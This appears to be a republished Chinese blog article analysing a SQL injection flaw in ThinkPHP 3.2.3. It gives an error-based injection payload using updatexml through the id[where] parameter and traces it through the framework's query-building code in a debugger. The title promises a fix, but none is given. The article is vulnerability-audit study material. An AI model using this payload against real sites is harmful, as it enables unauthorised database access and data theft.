我的编程空间,编程开发者的网络收藏夹
学习永远不晚

thinkPHP3.2.3中sql注入漏洞问题怎么解决

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

thinkPHP3.2.3中sql注入漏洞问题怎么解决

这篇文章主要介绍“thinkPHP3.2.3中sql注入漏洞问题怎么解决”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“thinkPHP3.2.3中sql注入漏洞问题怎么解决”文章能帮助大家解决问题。

thinkPHP3.2.3中sql注入漏洞问题怎么解决

前言

攻敌所必救:

  • ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法

  • Thinkphp3.2.3 安全开发须知

搭建:

  1. 首先第一步就是必须先放在www目录下(我是windows用的phpstudy)!!!!

  2. 创建数据库,表名一定与你接下来要M的名字的相对应

  3. 连接数据库的文件不多说了,自己配置:ThinkPHP/Conf/convention.php

  4. 配置控制器:\WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php

    <?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $this->show('原来内容已经省略,太占地方');$data = M('user')->find(I('GET.id'));var_dump($data);}}
  5. 测试:

    thinkPHP3.2.3中sql注入漏洞问题怎么解决

正文

payload:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));

I和M方法都没有什么问题,真正的问题在于

  1. find 方法上,来自/ThinkPHP/Mode/Lite/Model.class.php

 public function find($options=array()) {           // 根据复合主键查找记录        $pk  =  $this->getPk();        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里            // 根据复合主键查询            $count = 0;            foreach (array_keys($options) as $key) {                if (is_int($key)) $count++;             }             if ($count == count($pk)) {                $i = 0;                foreach ($pk as $field) {                    $where[$field] = $options[$i];                    unset($options[$i++]);                }                $options['where']  =  $where;            } else {                return false;            }        }        // 总是查找一条记录        $options['limit']   =   1;        // 分析表达式        $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用     $resultSet          =   $this->db->select($options);//重要的一步

_parseOptions:因为主要针对options[where]所以无关代码我全删除了

/ThinkPHP/Library/Think/Model.class.php

protected function _parseOptions($options=array()) {        if(is_array($options))            $options =  array_merge($this->options,$options);        // 字段类型验证        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])            // 对数组查询条件进行字段类型检查            foreach ($options['where'] as $key=>$val){                $key            =   trim($key);                if(in_array($key,$fields,true)){                    if(is_scalar($val)) {                        $this->_parseType($options['where'],$key);                    }                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){                    if(!empty($this->options['strict'])){                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');                    }                     unset($options['where'][$key]);                }            }        }    //上面均没用,到现在开始有用:?        // 查询过后清空sql表达式组装 避免影响下次查询        $this->options  =   array();        // 表达式过滤        $this->_options_filter($options);//这里值得注意        return $options;    }

_options_filter

到这就无了

thinkPHP3.2.3中sql注入漏洞问题怎么解决

而且上面的操作也会清零 $options,所以这里可能是进错了

所以更正第二部的跟踪,改为

2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

public function select($options=array()) {        $this->model  =   $options['model'];        $this->parseBind(!empty($options['bind'])?$options['bind']:array());        $sql    = $this->buildSelectSql($options);        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);        return $result;    }

3.buildSelectSql:地址同上

public function buildSelectSql($options=array()) {        if(isset($options['page'])) {            // 根据页数计算limit            list($page,$listRows)   =   $options['page'];            $page    =  $page>0 ? $page : 1;            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);            $offset  =  $listRows*($page-1);            $options['limit'] =  $offset.','.$listRows;        }        $sql  =   $this->parseSql($this->selectSql,$options);        return $sql;    }

4.parseSql:地址同上

public function parseSql($sql,$options=array()){        $sql   = str_replace(            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),            array(                $this->parseTable($options['table']),                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),                $this->parseField(!empty($options['field'])?$options['field']:'*'),                $this->parseJoin(!empty($options['join'])?$options['join']:''),                $this->parseWhere(!empty($options['where'])?$options['where']:''),                $this->parseGroup(!empty($options['group'])?$options['group']:''),                $this->parseHaving(!empty($options['having'])?$options['having']:''),                $this->parseOrder(!empty($options['order'])?$options['order']:''),                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),                $this->parseUnion(!empty($options['union'])?$options['union']:''),                $this->parseLock(isset($options['lock'])?$options['lock']:false),                $this->parseComment(!empty($options['comment'])?$options['comment']:''),                $this->parseForce(!empty($options['force'])?$options['force']:'')            ),$sql);        return $sql;    }

5.parseWhere:同上

protected function parseWhere($where) {        $whereStr = '';        if(is_string($where)) {//直接满足,直接进入            // 直接使用字符串条件            $whereStr = $where;        }else{ // 使用数组表达式        }            return empty($whereStr)?'':' WHERE '.$whereStr;}

最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

然后

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;

整个过程没有任何过滤,seay分析thinkPHP太飞费劲了

PHPstorm断点审计:

payload不变:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

还是跟踪find函数:

thinkPHP3.2.3中sql注入漏洞问题怎么解决

跟踪到这里步入一下,继续跟踪,跟踪到最后会跳出这个函数并且,值依然没有改变,同时步入下一个函数

thinkPHP3.2.3中sql注入漏洞问题怎么解决

经核实,步入到了另一个函数中:

thinkPHP3.2.3中sql注入漏洞问题怎么解决

继续跟踪buildSelectSql:

thinkPHP3.2.3中sql注入漏洞问题怎么解决

继续跟踪parseSql:

thinkPHP3.2.3中sql注入漏洞问题怎么解决

最后的代码变成了:

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
还是debug起来方便,基本不需要怎么动脑

关于“thinkPHP3.2.3中sql注入漏洞问题怎么解决”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网行业资讯频道,小编每天都会为大家更新不同的知识点。

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

thinkPHP3.2.3中sql注入漏洞问题怎么解决

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

thinkPHP3.2.3中sql注入漏洞问题怎么解决

这篇文章主要介绍“thinkPHP3.2.3中sql注入漏洞问题怎么解决”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“thinkPHP3.2.3中sql注入漏洞问题怎么解决”文章能帮助大家解决问题。
2023-06-30

sql注入漏洞怎么修

可以通过以下方法修复 sql 注入漏洞:1. 参数化查询;2. 输入验证和清理;3. 使用安全 api;4. 限制数据库权限;5. 保持软件更新;6. 使用 web 应用程序防火墙 (waf);7. 培训意识。SQL 注入漏洞修复方法SQ
sql注入漏洞怎么修
2024-05-30

云服务器漏洞怎么解决问题

配置错误:如果配置不当,云服务器可能会被黑客攻击。解决方法是检查服务器的配置文件,确保正确配置了所有参数,并使用了最新的安全更新。权限控制:云服务器允许用户访问和控制资源。因此,管理员应该设置强密码和访问控制列表,以确保只有授权用户可以访问该服务器。漏洞修复:如果云服务器存在漏洞,管理员应该及时修复这些漏洞。可以使用漏洞扫描工具或漏洞评估工具来扫描和评估服务器的系统漏洞,并及时进行修复。防火墙设置...
2023-10-27

Java怎么有效避免SQL注入漏洞

这篇文章主要介绍“Java怎么有效避免SQL注入漏洞”,在日常操作中,相信很多人在Java怎么有效避免SQL注入漏洞问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Java怎么有效避免SQL注入漏洞”的疑惑有所
2023-06-22

Docker API未授权访问漏洞问题怎么解决

本篇内容主要讲解“Docker API未授权访问漏洞问题怎么解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Docker API未授权访问漏洞问题怎么解决”吧!因为docker赋有远程的远程控
2023-07-05

怎么使用prepared statement解决SQL注入问题

使用prepared statement可以有效地防止SQL注入问题。下面是使用prepared statement的一般步骤:1. 创建一个带有占位符的SQL语句。2. 使用数据库连接对象创建一个prepared statement对象,
2023-08-08

mybatis使用${}时sql注入的问题怎么解决

这篇文章给大家介绍mybatis使用${}时sql注入的问题怎么解决,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。mybatis使用${}时sql注入的问题最近在上线项目的时候,代码审查没有通过,提示有sql注入的风险
2023-06-22

阿里云服务器的漏洞怎么解决问题

1.什么是阿里云服务器漏洞?阿里云服务器是一种云计算服务,它提供了虚拟化的计算资源、存储资源和网络资源,用户可以通过互联网访问这些资源。然而,由于其广泛使用和高度互联性,阿里云服务器也面临着各种安全威胁,其中最常见的是漏洞。漏洞是指软件或系统中存在的缺陷或弱点,黑客可以利用这些漏洞来攻击服务器,窃取敏感数据或控制服务器
阿里云服务器的漏洞怎么解决问题
2024-01-22

Spring中applicationcontext未注入问题怎么解决

确保在Spring配置文件中正确声明了需要注入的bean,如在XML配置文件中使用定义或者在Java配置中使用@Configuration注解进行声明。确保在需要注入的类中使用@Autowired或@Resource等注解进行依赖注入,例如
Spring中applicationcontext未注入问题怎么解决
2024-03-07

Mybatis的sql注释问题怎么解决

这篇文章主要介绍“Mybatis的sql注释问题怎么解决”,在日常操作中,相信很多人在Mybatis的sql注释问题怎么解决问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Mybatis的sql注释问题怎么解决
2023-07-02

阿里云数据库连接漏洞怎么解决问题

简介阿里云数据库是一种高可用、高性能、高安全的云数据库服务,但有时候也会出现数据库连接漏洞的问题。本文将介绍如何解决阿里云数据库连接漏洞,以保障数据库的安全性和稳定性。解决方法1.检查数据库连接配置首先,我们需要检查数据库连接配置是否正确。可以通过以下步骤进行检查:登录阿里云控制台,进入数据库管理页面。找到需要检查的数
阿里云数据库连接漏洞怎么解决问题
2024-01-30

sql被注入怎么解决

解决 sql 注入问题的六种方法:准备语句参数化查询输入验证使用安全的 orm使用 waf限制数据库权限如何解决 SQL 注入问题SQL 注入是一种常见的网络攻击,允许攻击者通过恶意输入操纵数据库查询。解决 SQL 注入问题至关重要,以保
sql被注入怎么解决
2024-05-30

Apache APISIX Dashboard未授权访问漏洞怎么解决

今天小编给大家分享一下Apache APISIX Dashboard未授权访问漏洞怎么解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来
2023-07-05

怎么解决内存泄漏问题

本篇内容介绍了“怎么解决内存泄漏问题”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!问题排查首先确定内存泄漏问题出现的时间,发现在该时间点的上
2023-06-16

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录